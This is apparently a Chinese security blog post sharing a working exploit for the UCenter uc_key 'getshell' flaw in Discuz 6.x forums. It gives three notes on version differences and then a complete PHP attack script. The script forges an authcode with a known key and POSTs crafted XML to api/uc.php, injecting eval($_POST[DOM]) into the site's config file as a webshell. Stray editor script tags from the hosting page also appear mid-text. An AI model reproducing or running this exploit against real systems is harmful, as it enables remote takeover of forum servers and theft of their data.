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网上有dz 7.x和dz x系列的uc_key 利用方式，今天遇到了一个dz6.0的网站，于是分析了下代码，改了下利用程序，分享给需要的人。uc_key getshell 是一个影响比较广存在比较久的漏洞，基本上使用ucenter做用户中心的程序都可以使用，但需要根据特定程序写特定利用。最新版本的dz好像是修补了，没有具体看代码了。
注意三个地方：
1.在dz6.x中对xml的解析是不一样的，所以需要修改利用exp
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$post = uc_unserialize(uc_post_contents());<script src=“http://zone.wooyun.org/source/js/jquery.js” type=“mce-mce-mce-text/javascript”></script><script type=“mce-mce-mce-text/javascript”>// <![CDATA[
var token=“3d89299f97d2520b0bac4b67afe6875b”;
// ]]></script><script src=“http://zone.wooyun.org/source/global.js.php” type=“mce-mce-mce-text/javascript”></script><script src=“http://zone.wooyun.org/editor/editor.js” type=“mce-mce-mce-text/javascript”></script><script src=“http://bdimg.share.baidu.com/static/js/logger.js?cdnversion=402200″ type=“mce-mce-mce-no/type”></script>
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2.低版本中$UC_API并没有转义，所以不需要提交2个包
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$configfile = preg_replace(“/define/(‘UC_API’,/s*‘.*?’/);/i”, “define(‘UC_API’, ‘$UC_API’);”, $configfile);<script src=“http://zone.wooyun.org/source/js/jquery.js” type=“mce-text/javascript”></script><script type=“mce-text/javascript”>// <![CDATA[
var token=“3d89299f97d2520b0bac4b67afe6875b”;
// ]]></script><script src=“http://zone.wooyun.org/source/global.js.php” type=“mce-text/javascript”></script><script src=“http://zone.wooyun.org/editor/editor.js” type=“mce-text/javascript”></script><script src=“http://bdimg.share.baidu.com/static/js/logger.js?cdnversion=402200″ type=“mce-no/type”></script>
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3.低版本的加密函数也是不一样的
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<?php
// 代码版权归原作者所有！
$timestamp = time()+10*3600;
$host=“127.0.0.1″;
$uc_key=“Qfp1O0N3h5V356bbUdPer3958dp8X3b55dBa9fKai7s3Q7AbY9I3Hcnc7ec505sa”;
$code=urlencode(_authcode(“time=$timestamp&action=updateapps”, ‘ENCODE’, $uc_key));
$cmd1=‘<?xml version=“1.0″ encoding=“ISO-8859-1″?>
<root>
<UC_API id=“UC_API”>http://xxx/’);eval($_POST[DOM]);//</UC_API>
</root>‘;
$html1 = send($cmd1);
echo $html1;
function send($cmd){
global $host,$code;
$message = “POST /dz/api/uc.php?code=”.$code.” HTTP/1.1/r/n”;
$message .= “Accept: */*/r/n”;
$message .= “Referer: “.$host.”/r/n”;
$message .= “Accept-Language: zh-cn/r/n”;
$message .= “Content-Type: application/x-www-form-urlencoded/r/n”;
$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)/r/n”;
$message .= “Host: “.$host.”/r/n”;
$message .= “Content-Length: “.strlen($cmd).”/r/n”;
$message .= “Connection: Close/r/n/r/n”;
$message .= $cmd;
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = ‘‘;
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = ‘DECODE‘, $key = ‘‘, $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == ‘DECODE‘ ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ‘‘;
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == ‘DECODE‘ ? base64_decode(substr($string, $ckey_length)) : sprintf(‘%010d‘, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = ‘‘;
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == ‘DECODE‘) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) – time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return ‘‘;
}
} else {
return $keyc.str_replace(‘=‘, ‘‘, base64_encode($result));
}
}
?>
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